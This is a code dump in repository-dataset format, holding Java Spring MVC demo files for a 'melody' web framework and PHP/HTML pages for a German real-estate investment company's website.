@RequestMapping("/change.htm") public void change(@RequestParam("locale") String locale, HttpServletRequest request, HttpServletResponse response) throws IOException { LocaleEditor le = new LocaleEditor(); le.setAsText(locale); Locale get = (Locale) le.getValue(); this.localeResolver.setLocale(request, response, get); // demo简单处理,只要有原页面就重新加载,不做参数处理,所以post提交的页面会有问题 String s = request.getHeader("Referer"); if (StringUtil.isNotBlank(s)) { response.sendRedirect(s); return; } response.sendRedirect("/index.htm"); } } <file_sep>package com.eyeieye.melody.demo.web.action.utils; import java.io.File; import java.util.List; public class TestClass { static File orgDir = new File("D:\\SinoChem\\views\\"); void dealFile(File file){ if(file.isDirectory() == true){ System.out.println("处理目录"+file.getPath()); File[] files = file.listFiles(); if(files!=null && files.length >0){ for(File tempFile : files){ dealFile(tempFile); } } }else{ System.out.println("处理文件"+file.getPath()); changeFileName(file); } } void changeFileName(File file) { String fileName = file.getName(); String superPath = file.getParent(); String newFileName = fileName.split("\\.")[0] + ".htm"; System.out.println("重命名文件:"+file.getPath()+"-->"+superPath + "\\" + newFileName); file.renameTo(new File(superPath + "\\" + newFileName)); } public static void main(String[] args) { new TestClass().dealFile(orgDir); } } <file_sep>package com.eyeieye.melody.demo.web.action.login; import org.apache.commons.lang.StringUtils; import org.springframework.util.Assert; import org.springframework.validation.Errors; import org.springframework.validation.Validator; import java.util.Date; /** * 登陆校验,实现Spring的Validator接口,采用编码的形式验证。 * * @author zhengdd * @version $Id: UserRegisterValidator.java,v 1.3 2012/02/20 15:13:46 fish Exp $ */ public class UserRegisterValidator implements Validator { public boolean supports(Class<?> clz) { return User.class.equals(clz); } /** * 验证处理 * @param obj * @param err * @see org.springframework.validation.Validator#validate(java.lang.Object, org.springframework.validation.Errors) */ public void validate(Object obj, Errors err) { Assert.notNull(obj); Assert.isInstanceOf(User.class, obj); User user = (User) obj; String realName = user.getRealName(); if (StringUtils.isBlank(realName)) { // 4个参数分别为:验证对象的属性名、错误信息代码、错误信息参数、默认错误信息。 // 错误信息可以通过配置MessageResource,指定错误信息代码,而无需在代码里写死错误信息。 err.rejectValue("realName", "user.register.realName.empty", null, "请填写用户名"); } else { if (realName.length() > 16) { err.rejectValue("realName", "user.register.realName.long", new Integer[]{16}, "用户名不能超过{0}个字符"); } } if(StringUtils.isBlank(user.getPassword())){ err.rejectValue("password", null, null, "请输入口令"); } if(user.getPassword().length() < 6 || user.getPassword().length() > 20 ){ err.rejectValue("password", null, null, "口令长度在6~20之间"); } Date date = new Date(); if(user.getBirthday().getTime() > date.getTime()){ err.rejectValue("birthday", null, null, "出生日期不能在今天之后"); } if(user.getAge() == null){ err.rejectValue("age", null, null, "请填写年龄"); }else{ if(user.getAge() < 2 || user.getAge() >120){ err.rejectValue("age", null, null, "年龄在2~120之间"); } } } } <file_sep>package com.eyeieye.melody.demo.web.action.utils; import com.eyeieye.melody.demo.web.action.login.User; import com.eyeieye.melody.util.*; import com.eyeieye.melody.web.util.ObjectFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.RequestMapping; import org.springmodules.validation.bean.conf.loader.annotation.handler.RegExp; import java.math.BigDecimal; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.*; @Controller @RequestMapping("utils") public class UtilsAction { @Autowired private DemoBean demoBean; private static final String CHINA_CURRENCY_CODE = "CNY"; private static final String AMERICA_CURRENCY_CODE = "USD"; @RequestMapping("demo/dateutil") public void dateUtilPage(Integer afterDays, Integer beforeDays, ModelMap modelMap) { //获取当前日期时间 String nowDateTime = DateUtil.getDateTime(DateUtil.getDatePattern(), new Date()); //获取今天是星期几: int weeks = DateUtil.getDay(new Date()); //获取几天后的日期 Date nextDate = null; if ((afterDays == null || afterDays == 0) == false) { nextDate = DateUtil.getRelativeDate(new Date(), afterDays); modelMap.put("nextWeeks", getWeeks(DateUtil.getDay(nextDate))); modelMap.put("afterDays", afterDays); } //获取几天前的日期 Date lastDate = null; if (!(beforeDays == null || beforeDays == 0)) { lastDate = DateUtil.getRelativeDate(new Date(), beforeDays * -1); modelMap.put("lastWeeks", getWeeks(DateUtil.getDay(lastDate))); modelMap.put("beforeDays", beforeDays); } modelMap.put("dateNow", nowDateTime); modelMap.put("weeks", getWeeks(weeks)); } @RequestMapping("demo/stringutil") public void stringUtilPage(String str1, String str2, ModelMap modelMap) { modelMap.put("str1", str1); modelMap.put("str2", str2); modelMap.put("isEmpty", StringUtil.isEmpty(str1)); modelMap.put("default", StringUtil.defaultIfBlank(str1, "_")); modelMap.put("trim", StringUtil.trim(str1)); modelMap.put("isNumber", StringUtil.isNumber(str1)); modelMap.put("toUpper", StringUtil.toUpperCase(str1)); modelMap.put("toLower", StringUtil.toLowerCase(str1)); modelMap.put("subString", StringUtil.substring(str1, 0, 2)); modelMap.put("alignLeft", StringUtil.alignLeft(str1, 10, "abc")); modelMap.put("camelCase", StringUtil.toCamelCase(str1)); modelMap.put("equal", StringUtil.equals(str1, str2)); String[] array = {str1, str2}; modelMap.put("join", StringUtil.join(array)); modelMap.put("indexOf", StringUtil.indexOf(str1, str2)); modelMap.put("replace", StringUtil.replace(str1, str2, "jojo")); modelMap.put("difference", StringUtil.difference(str1, str2)); } @RequestMapping("demo/hostutil") public void hostUtilPage(ModelMap modelMap) { HostUtil.HostInfo hostInfo = HostUtil.getHostInfo(); HostUtil.Ipv4Info ipv4Info = HostUtil.getIpv4Info(); modelMap.put("hostName", hostInfo.getName()); modelMap.put("hostAddress", hostInfo.getAddress()); modelMap.put("ipv4Addresses", ipv4Info.getAddress()); modelMap.put("firstAddress", ipv4Info.getFristAddress()); } @RequestMapping("demo/moneyutil") public void moneyUtilPage(BigDecimal amount, Integer currencyCodeIndex, ModelMap modelMap) { String[] currencyCodes = {CHINA_CURRENCY_CODE, AMERICA_CURRENCY_CODE}; modelMap.put("currencyCodes", currencyCodes); modelMap.put("amount", amount); modelMap.put("currencyCodeIndex", currencyCodeIndex); if(currencyCodeIndex == null || amount == null){ return; } Currency currency = null; if (currencyCodeIndex >= 1 && currencyCodeIndex <= currencyCodes.length) { currency = Currency.getInstance(currencyCodes[currencyCodeIndex-1]); } Money money = new Money(amount,currency); modelMap.put("compare", money.compareTo(new Money(100,currency))); Money afterAdd = money.add(new Money(10,currency)); modelMap.put("add", afterAdd); Money afterMultiply = money.multiply(2); modelMap.put("multiply",afterMultiply); modelMap.put("allocate1",money.allocate(5)); long[] targets = {1L, 2L, 3L}; modelMap.put("allocate2",money.allocate(targets)); } public void ArrayUtil(){ Double[] array1 = new Double[5]; Double[] array2 = null; Random ra = new Random(10000); for(int i =0; i<5 ; i++){ array1[i] =ra.nextDouble(); } //判断数组是否为空 System.out.println("判断数组是否为空:array1:"+ArrayUtil.isEmpty(array1)+" | array2:"+ArrayUtil.isEmpty(array2)); //数组转字符串 System.out.println("数组转字符串:array1:"+ArrayUtil.toString(array1)); //反转数组 ArrayUtil.reverse(array1); System.out.println("反转数组"+ArrayUtil.toString(array1)); //toFixedList和toList List toFixedList = ArrayUtil.toFixedList(array1); List toList = ArrayUtil.toList(array1); Double[] clone = (Double[]) ArrayUtil.clone(array1); System.out.println("\n----------toFixedList和toList----------"); System.out.println("toFixedList的第一个值:"+toFixedList.get(0)); System.out.println("toList的第一个值:"+toList.get(0)); System.out.println("**********\n将array1中第一个元素修改为10.0后"); array1[0] = 10.0D; System.out.println("toFixedList的第一个值:"+toFixedList.get(0)); System.out.println("toList的第一个值:"+toList.get(0)); } @RequestMapping("demo/objectfactory") public void ObjectFactoryDemo(){ demoBean.ObjectFactoryDemo(); } @RequestMapping("uuidgenerator") public void uuid(ModelMap modelMap){ modelMap.put("UUID",UUIDGenerator.generate()); } public static void main(String[] args) throws ParseException, InterruptedException { new UtilsAction().ArrayUtil(); } private String getWeeks(int weeks) { switch (weeks) { case 0: return "星期日"; case 1: return "星期一"; case 2: return "星期二"; case 3: return "星期三"; case 4: return "星期四"; case 5: return "星期五"; case 6: return "星期六"; default: return "未知"; } } } <file_sep>package com.eyeieye.melody.demo.web.action.login; import org.springframework.core.MethodParameter; import org.springframework.stereotype.Component; import org.springframework.web.bind.support.WebArgumentResolver; import org.springframework.web.context.request.NativeWebRequest; import org.springframework.web.context.request.RequestAttributes; /** * * @author fish * */ @Component public class UserArgumentResolver implements WebArgumentResolver { public Object resolveArgument(MethodParameter methodParameter, NativeWebRequest webRequest) throws Exception { if (methodParameter.getParameterType().equals(User.class)) { User userAgent = (User) webRequest.getAttribute(User.NAME, RequestAttributes.SCOPE_SESSION); if (userAgent != null) { return userAgent; } } return UNRESOLVED; } } <file_sep>package com.eyeieye.melody.demo.web.resolver; import org.springframework.core.MethodParameter; import org.springframework.stereotype.Component; import org.springframework.web.bind.support.WebArgumentResolver; import org.springframework.web.context.request.NativeWebRequest; import org.springframework.web.context.request.RequestAttributes; import com.eyeieye.melody.demo.domain.AdministerAgent; /** * * @author fish * */ @Component public class AdministerAgentArgumentResolver implements WebArgumentResolver { public Object resolveArgument(MethodParameter methodParameter, NativeWebRequest webRequest) throws Exception { if (methodParameter.getParameterType().equals(AdministerAgent.class)) { AdministerAgent agent = (AdministerAgent) webRequest.getAttribute(AdministerAgent.AdministerTag, RequestAttributes.SCOPE_SESSION); return agent; } return UNRESOLVED; } } <file_sep>package com.eyeieye.melody.demo.access; import java.lang.reflect.Method; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import org.springframework.core.annotation.AnnotationUtils; import org.springframework.stereotype.Component; import org.springframework.web.context.request.RequestAttributes; import org.springframework.web.context.request.ServletWebRequest; import com.eyeieye.melody.web.adapter.AnnotationMethodHandlerInterceptorAdapter; import com.eyeieye.melody.demo.domain.AdministerAgent; import com.eyeieye.melody.demo.enums.FunctionsEnum; /** * 管理端权限拦截控制器,根据 @AdminAccess annotation來標記這個類的方法需要權限控制, * * @author fish * */ @Component public class AdminAuthorityHandlerInterceptor extends AnnotationMethodHandlerInterceptorAdapter { private static final Integer placeholder = Integer.valueOf(0); @Override public void preInvoke(Method handlerMethod, Object handler, ServletWebRequest webRequest) { Object agentObj = webRequest.getAttribute(AdministerAgent.AdministerTag, RequestAttributes.SCOPE_SESSION); AdministerAgent agent = null; if(agentObj != null) { agent = (AdministerAgent)agentObj; } if (!pass(agent, handlerMethod, handler)) { throw new AdminAccessDeniedException(); // 到异常控制类中去处理 } } private Map<Method, FunctionsEnum[]> caches = new ConcurrentHashMap<Method, FunctionsEnum[]>(); private Map<Method, Integer> noControlCaches = new ConcurrentHashMap<Method, Integer>();// 没有配置AdminAccess的method private boolean pass(AdministerAgent user, Method handlerMethod, Object handler) { FunctionsEnum[] funs = null; funs = this.caches.get(handlerMethod); if (funs == null) { if (noControlCaches.containsKey(handlerMethod)) { // 没有AdminAccess 配置,允许任意访问 return true; } AdminAccess access = AnnotationUtils.getAnnotation(handlerMethod, AdminAccess.class); if (access == null) { // 没有配置AdminAccess noControlCaches.put(handlerMethod, placeholder); return true; } funs = access.value(); this.caches.put(handlerMethod, funs); } if (funs.length == 0) { // 如果配置了缺省的AdminAccess,表示只要登录就能访问 return user != null; } // 配置了AdminAccess if (user != null) { for (FunctionsEnum em : funs) { if (user.haveFunction(em)) { return true; } } } return false; } } <file_sep># melody-demo melody2.X的演示代码 ### 使用提示 - 默认path为127.0.0.1 默认端口为8080 默认部署路径是/,启动时请和tomcat端口对应,如需修改可以在server.properties中修改 ``` app.server.host=127.0.0.1 app.server.port=8080 app.server.path=/ melody.action.scan=com.eyeieye.melody.demo.web(action扫描路径) ``` <file_sep>package com.eyeieye.melody.demo.web.action.login; import static org.springframework.web.bind.annotation.RequestMethod.GET; import static org.springframework.web.bind.annotation.RequestMethod.POST; import java.net.InetAddress; import java.util.Date; import java.util.Random; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import com.eyeieye.melody.demo.cache.CacheManager; import com.eyeieye.melody.util.UUIDGenerator; import com.eyeieye.melody.web.url.URLBroker; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.validation.BindingResult; import org.springframework.validation.Validator; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; /** * * @author fish * */ @Controller @RequestMapping("login") public class UserLoginoutAction { @Autowired private UserService userService; private Validator loginValidator = new UserLoginValidator(); @RequestMapping(value = "/login.htm", method = GET) public void loginPage(@ModelAttribute("user") User user, @ModelAttribute("answer") String answer) { } @RequestMapping(value = "/login.htm", method = POST) public String login(@ModelAttribute("user") User user, BindingResult result, HttpSession session, HttpServletRequest httpServletRequest, ModelMap modelMap ) { loginValidator.validate(user, result); // 错误回显 if (result.hasErrors()) { return "login/login"; } // 逻辑检查 User u = userService.getUserByNamePasswd(user.getRealName(), user.getPassword()); // 错误回显 if (u == null) { return "login/login"; } String ip = getIpAddr(httpServletRequest); NativePlace nativePlace = new NativePlace(); nativePlace.setProvince("ip地址为:"+ip+",无法获取省份"); nativePlace.setCity("无法获取城市"); u.setLoginTime(new Date()); u.setNativePlace(nativePlace); session.setAttribute(User.NAME, u); return "redirect:/login/user_main.htm"; } @RequestMapping(value = "/logout.htm") public String logout(HttpSession session) { session.removeAttribute(User.NAME); return "redirect:"+appServerBroker; } /** * 偷懒一下,user main就写在loginoutAction */ @RequestMapping("/user_main.htm") public void main(HttpSession session, ModelMap model) { model.addAttribute("agent", session.getAttribute(User.NAME)); // 显示首页需要的逻辑... } /** * @Description: 获取客户端IP地址 */ private String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("x-forwarded-for"); if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("Proxy-Client-IP"); } if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getHeader("WL-Proxy-Client-IP"); } if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { ip = request.getRemoteAddr(); if(ip.equals("127.0.0.1")){ //根据网卡取本机配置的IP InetAddress inet=null; try { inet = InetAddress.getLocalHost(); } catch (Exception e) { e.printStackTrace(); } ip= inet.getHostAddress(); } } // 多个代理的情况,第一个IP为客户端真实IP,多个IP按照','分割 if(ip != null && ip.length() > 15){ if(ip.indexOf(",")>0){ ip = ip.substring(0,ip.indexOf(",")); } } return ip; } @RequestMapping(value = "extended_user_login.htm",method = GET) @Extended public String exLoginPage(ExtendedUser exUser,ModelMap modelMap){ modelMap.put("exUser",exUser); return "/nosession/extended_user_login"; } @Autowired private CacheManager<ExtendedUserCacheEntry> cacheManager; @Autowired private URLBroker appServerBroker; @RequestMapping(value = "extended_user_login.htm",method = POST) public String exLogin(HttpSession httpSession){ User user = new User(); user.setRealName("TestUser"); user.setAge(new Random().nextInt(20)+10); try { user.updateUuid(); } catch (Exception e) { return "/nosession/extended_user_login"; } httpSession.setAttribute(User.NAME,user); ExtendedUser exUser = new ExtendedUser(); exUser.setUser(user); exUser.addExtendAttribute("Extend message 1"); exUser.addExtendAttribute("Extend message 2"); ExtendedUserCacheEntry extendedUserCacheEntry = new ExtendedUserCacheEntry(); extendedUserCacheEntry.setExtendedUser(exUser); cacheManager.add(ExtendedUserCacheEntry.class.getName(),extendedUserCacheEntry); return "redirect:"+appServerBroker.get("/login/extended_user_login.htm"); } } <file_sep>package com.eyeieye.melody.demo.web.action.login; import static com.eyeieye.melody.demo.enums.ResourceType.CITY; import static com.eyeieye.melody.demo.enums.ResourceType.PROVINCE; import static org.springframework.web.bind.annotation.RequestMethod.GET; import static org.springframework.web.bind.annotation.RequestMethod.POST; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.propertyeditors.CustomDateEditor; import org.springframework.stereotype.Controller; import org.springframework.validation.BindingResult; import org.springframework.validation.Validator; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import com.eyeieye.melody.demo.domain.Resource; import com.eyeieye.melody.demo.service.ResourceService; import org.springmodules.validation.bean.conf.loader.annotation.Validatable; import org.springmodules.validation.bean.conf.loader.annotation.handler.Validators; import javax.validation.Valid; /** * 注册Action,该类主要用于演示一个完整的表单初始化、校验和处理过程。 * * @author zhengdd * @version $Id: UserRegisterAction.java,v 1.1 2011/06/20 07:43:15 fish Exp $ */ @Controller @RequestMapping("login") public class UserRegisterAction { // ~ Validator // ====================================================================== /** 编码实现的注册Validator */ private Validator registerValidator = new UserRegisterValidator(); /** * Spring * Valang实现的注册Validator,验证规则请参考/WEB-INF/conf/spring/web/web-validator.xml * 中id为registerValidator的bean。 */ /* * @Autowired private Validator registerValidator; */ // ~ Service // ======================================================================== /** Service的注入声明 */ @Autowired private UserService userService; @Autowired private ResourceService resourceService; // ~ 表单初始化 // ======================================================================= /** * 初始化绑定。 * <p> * * @InitBinder这个注解用于绑定各种PropertyEditor,即将表单提交过来的字符串, * 根据注册到WebDataBinder中的PropertyEditor转换为具体的某一类对象 * 。 * <p> * 例如:CustomDateEditor 将符合 * "yyyy-MM-dd" * 格式的字符串转换为Data类型。 * <p> * <b>注意:<br> * * 1、该方法仅在Controller初始化的时候执行一次 * ;<br> * * 2、标记有该注解的方法入参必须要有WebDataBinder * 。</b> * * @param binder */ @InitBinder private void initBinder(WebDataBinder binder) { // 注册日期格式化类型: yyyy-MM-dd DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); dateFormat.setLenient(false); binder.registerCustomEditor(Date.class, new CustomDateEditor( dateFormat, true)); } /** * 初始化省份数据。 * <p> * * @ModelAttribute这个注解用在方法级别上,将会被该方法所属的Controller中所有 * 标注有@RequestMapping的方法自动调用, * 并且将返回值按照@ModelAttribute中指定的 * value添加到Model中。 * * @return List<Resource> */ @SuppressWarnings("unused") @ModelAttribute("provinces") private List<Resource> buildProvinces() { return resourceService.getResourcesByType(PROVINCE); } /** * 初始化城市数据。 * * @return List<Resource> */ @SuppressWarnings("unused") @ModelAttribute("cities") private List<Resource> buildCities() { return resourceService.getResourcesByType(CITY); } /** * 注册用户信息初始化。 * * @param user */ @RequestMapping(value = "/register.htm", method = GET) public void registerInit(@ModelAttribute("user") User user) { } // ~ 表单验证、处理 // ================================================================== /** * 注册用户信息。 * * @param user * @param result * @return String */ @RequestMapping(value = "/register.htm", method = POST) public String register(@ModelAttribute("user") User user, BindingResult result) { // 校验注册用户信息 registerValidator.validate(user, result); // 错误回显 if (result.hasErrors()) { return "login/register"; } // 注册用户 userService.register(user); // 成功跳转 return "login/success"; } } <file_sep>package com.eyeieye.melody.demo.web.action.annotation; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Map; import javax.servlet.http.HttpServletRequest; import com.eyeieye.melody.web.url.URLBroker; import org.codehaus.jackson.JsonGenerator; import org.codehaus.jackson.JsonProcessingException; import org.codehaus.jackson.map.JsonSerializer; import org.codehaus.jackson.map.SerializerProvider; import org.codehaus.jackson.map.annotate.JsonSerialize; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.ModelAndView; /** * * @author fish * */ @Controller @RequestMapping("/annotation") public class AnnotationDemoAction { @Autowired URLBroker appServerBroker; /** * 方法返回void,则根据url寻找视图,此例子中,寻找名称为"annotation/return/void"的 view */ @RequestMapping("/return/void.htm") public void annotationVoid(ModelMap model) { model.addAttribute("currentTime", new Date()); } /** * 方法返回String,则根据返回值寻找视图,此例子中,寻找名称为"annotation/return/forward"的 view */ @RequestMapping("/return/string_forward.htm") public String annotationString(ModelMap modelMap) { //map.put("currentTime", new Date()); modelMap.put("currentTime",new Date()); return "annotation/return/forward"; } @RequestMapping("/return/string_redirect.htm") public String annotationStringRedirect(ModelMap map) { map.put("currentTime", new Date()); return "redirect:"+appServerBroker.get("/annotation/return/redirect.htm"); /**不用完整URL同样可行**/ //return "redirect:/annotation/return/redirect.htm"); } /** * 方法返回view,则根据url寻找视图,此例子中,寻找名称为"annotation/return/model_view"的 view */ @RequestMapping("/return/view.htm") public ModelAndView annotationModelAndView() { ModelAndView mv = new ModelAndView("annotation/return/model_view"); mv.addObject("currentTime", new Date()); return mv; } /** * 方法返回Object(非String,int,long等),则把返回对象解析成json返回 */ @RequestMapping("/return/json") public @ResponseBody West annotationJson() { West w = new West(); w.setAge(Integer.valueOf(new SimpleDateFormat("yyyy").format(new Date())) - 1867); w.setName("<NAME>"); w.setNick("DIO"); return w; } @RequestMapping("/param/base.htm") public void annotationBase(HttpServletRequest request, @RequestParam String name, @RequestParam(required = false, defaultValue = "1") int size, Model model) { String ip = request.getRemoteAddr(); model.addAttribute("ip", ip); model.addAttribute("name", name); model.addAttribute("size", size); } public static class WestJsonSerializer extends JsonSerializer<Integer> { @Override public void serialize(Integer west, JsonGenerator jg, SerializerProvider sp) throws IOException, JsonProcessingException { jg.writeNumber(west + 19); } } public static class West { private String name; private String nick; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getNick() { return nick; } public void setNick(String nick) { this.nick = nick; } @JsonSerialize(using = WestJsonSerializer.class) public int getAge() { return age; } public void setAge(int age) { this.age = age; } } @RequestMapping("/param/simple_object_bind.htm") public void annotationObjectBind(West obj, Model model) { model.addAttribute("obj", obj); } @RequestMapping("/param/spring_object_bind.htm") public String springObjectBind(@ModelAttribute("west") West west, Model model) { model.addAttribute("west", west); return "/annotation/param/spring_object_bind"; } @RequestMapping("/param/json") public @ResponseBody West annotationJsonBind(@RequestBody West west) { west.name = west.name; west.nick = west.nick; west.age = west.age += 250; return west; } @RequestMapping("/movie/{movieName}/{shipId}.htm") public String annotationRestBind( @PathVariable("movieName") String moveName, @PathVariable("shipId") long shipId, Model model) { model.addAttribute("movieName", moveName); model.addAttribute("shipId", shipId); return "annotation/param/RESTful"; } }
c8dd7740a5c2291bd423ba7cf20caf464211c7e0
[ "Markdown", "Java", "INI" ]
22
Java
eyeieye-demo/melody-demo
8c583de0299c556935d9f37abf42b2b12324420d
a89bb6178c684e2d5cffccd688aafb52b1405574
refs/heads/master
<repo_name>klonkiponk/Test1<file_sep>/template/header.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame Remove this if you use the .htaccess --> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title><?php echo $page_title; ?></title> <meta name="description" content="Roth Immo Investment"> <meta name="author" content="<NAME>"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="/favicon.ico"> <link rel="icon" type="image/x-icon" href="favicon.ico"> <link rel="stylesheet" href="template/css/bootstrap.min.css"> <link rel="stylesheet" href="template/css/style.css"> <!--[if gte IE 9]> <style type="text/css"> .gradient { filter: none; } </style> <![endif]--> <script src="template/js/jquery.min.js"></script> <script src="template/js/bootstrap.min.js"></script> </head> <body> <header class="navbar navbar-default navbar-fixed-top" role="banner"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-target=".header-navbar-collapse" data-toggle="collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Roth Immoinvest GmbH</a> </div> <nav class="navbar-collapse header-navbar-collapse collapse" role="navigation"> <ul class="nav navbar-nav"> <li><a href="./investieren.php">Investieren</a></li> <li><a href="./investment-beratung.php">Investmentberatung</a></li> <li><a href="#">Für Eigentümer und Bestandskunden</a></li> </ul> </nav> </div> </header><file_sep>/references.php <?php $page_title = "Roth Immoinvest GmbH"; ?> <?php include_once("template/header.php"); ?> <div class="jumbotron"> <div class="row"> <div class="col-md-10"> <h1 class="slogan">Immobilienkauf leicht gemacht!</h1> <p class="abstract"> Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. </p> </div> </div> </div> <div class="container main-container"> <div class="row"> <div class="col-lg-12"><h1>Ausgewählte Referenzen</h1></div> </div> </div> <?php include_once("template/footer.php"); ?><file_sep>/index.php <?php $page_title = "Roth Immoinvest GmbH"; ?> <?php include_once("template/header.php"); ?> <div class="jumbotron container"> <div class="row"> <div class="col-md-10"> <h1 class="slogan">Immobilienkauf leicht gemacht!</h1> <p class="abstract"> Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. </p> </div> </div> </div> <div class="container main-container"> <div class="row"> <div class="col-lg-6 col-md-6"> <div class="info-panel gradient"> <div class="info-panel-header"> <h2>Unsere Immobilien</h2> </div> <div class="info-panel-body"> <div class="info-panel-body-left"> <img src="template/img/unsere_immobilien.jpg" alt="Unsere Immobilien"/> <button type="button" class="collapsed" data-target=".info-panel-body-right-1" data-toggle="collapse"> <img src="template/img/immobilien.jpg" alt="Unsere Immobilien"/> </button> </div> <div class="info-panel-body-right info-panel-body-right-1 collapse"> Dies sind unsere Immobilien </div> </div> </div> </div> <div class="col-lg-6 col-md-6"> <div class="info-panel gradient"> <div class="info-panel-header"> <h2>Kontakt</h2> </div> <div class="info-panel-body"> <div class="info-panel-body-left"> <img src="template/img/telefon_hoerer.jpg" alt="Das Symbol eines Telefonhörers"/> <button type="button" class="collapsed" data-target=".info-panel-body-right-2" data-toggle="collapse"> <img src="template/img/telefon_hoerer.png" alt="Das Symbol eines Telefonhörers"/> </button> </div> <div class="info-panel-body-right info-panel-body-right-2 collapse"> <p style="font-size:1.2em"> <NAME>invest Gmbh </p> <p> Immo Strasse<br/>12345 Stadt </p> <table> <tr> <th>Telefon:</th><td>000 / 111 222 3</td> </tr> <tr> <th>Fax:</th><td>000 / 111 222 4</td> </tr> <tr> <th>E-Mail:</th><td><EMAIL></td> </tr> </table> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-6 col-md-6"> <div class="info-panel gradient"> <div class="info-panel-header"> <h2>Jobs/Karriere</h2> </div> <div class="info-panel-body"> <div class="info-panel-body-left"> <img src="template/img/jobs_karriere.jpg" alt="Jobs und Karriere bei uns."/> <button type="button" class="collapsed" data-target=".info-panel-body-right-3" data-toggle="collapse"> <img src="template/img/jobs_karriere.jpg" alt="Jobs und Karriere bei uns."/> </button> </div> <div class="info-panel-body-right info-panel-body-right-3 collapse"> </div> </div> </div> </div> <div class="col-lg-6 col-md-6"> <div class="info-panel gradient"> <div class="info-panel-header"> <h2>Über uns</h2> </div> <div class="info-panel-body"> <div class="info-panel-body-left"> <img src="template/img/ueber_uns.jpg" alt="Find Sie mehr über uns heraus."/> <button type="button" class="collapsed" data-target=".info-panel-body-right-4" data-toggle="collapse"> <img src="template/img/ueber_uns.jpg" alt="Find Sie mehr über uns heraus."/> </button> </div> <div class="info-panel-body-right info-panel-body-right-4 collapse"> Lesen Sie hier <a href="./about.php">mehr über uns...</a> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-12 col-md-12"> <div class="info-panel gradient"> <div class="info-panel-header"> <h2>Ausgewählte Referenzen</h2> </div> <div class="info-panel-body"> <div class="info-panel-body-left"> <img src="template/img/ausgewaehlte_referenzen.jpg" alt="Von uns, das Beste."/> <button type="button" class="collapsed" data-target=".info-panel-body-right-5" data-toggle="collapse"> <img src="template/img/ausgewaehlte_referenzen.jpg" alt="Von uns, das Beste."/> </button> </div> <div class="info-panel-body-right info-panel-body-right-5 collapse"> </div> </div> </div> </div> </div> </div> <?php include_once("template/footer.php"); ?><file_sep>/wie_ergibt_sich_die_immobilien-rendite.php <?php $page_title = "Roth Immoinvest GmbH"; ?> <?php include_once("template/header.php"); ?> <div class="jumbotron"> <div class="row"> <div class="col-md-10"> <h1 class="slogan">Immobilienkauf leicht gemacht!</h1> <p class="abstract"> Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. </p> </div> </div> </div> <div class="container main-container"> <div class="row"> <div class="col-lg-12"> <h1>Wie ergibt sich die Immobilien-Rendite?</h1> <p> Um Ihnen die Funktion einer Immobilien-Investition näher zu bringen und die Immobilien-­Rendite zu erklären sollten Sie das folgende Schaubild betrachten: </p> <!-- TODO Schaubild --> <p> In der Mitte stehen Sie als Investor und Vermieter. Zahlungsströme (auch Cashflow genannt) werden durch Pfeile dargestellt. Pfeile, die zu Ihnen hinzeigen, stellen einen Geldzufluss, Pfeile, die von Ihnen wegzeigen, stellen einen Geldabfluss dar. </p> <p> Die Brutto-­Immobilien‐Rendite ergibt sich aus: </p> <table class="formula"> <tr> <td rowspan="2"> Immobilienrendite = </td> <td> Wertsteigerung </td> <td rowspan="2"> + </td> <td> Mieteinnahmen (Cashflow) </td> </tr> <tr> <td> Kaufpreis </td> <td> Kaufpreis </td> </tr> </table> <p> Betrachtet man alle Zahlungsströme, so ergibt sich die Netto-­Immobilien-­Rendite aus: </p> <table class="formula"> <tr> <td rowspan="2"> Immobilienrendite = </td> <td> Wertsteigerung + Mieteinnahmen - Nebenkosten - Steuern - Zinsen </td> </tr> <tr> <td> Kaufpreis </td> </tr> </table> <h2 id="worauf_es_bei_einer_immobilien-investition_ankommt">Worauf es bei einer Immobilien-Investition ankommt</h2> <h3>Warum Lage, Lage, Lage nicht alles ist</h3> <p> Die meisten Makler werden Ihnen auf die Frage, worauf es bei einer Immobilien-­Investition ankommt, antworten: Lage, 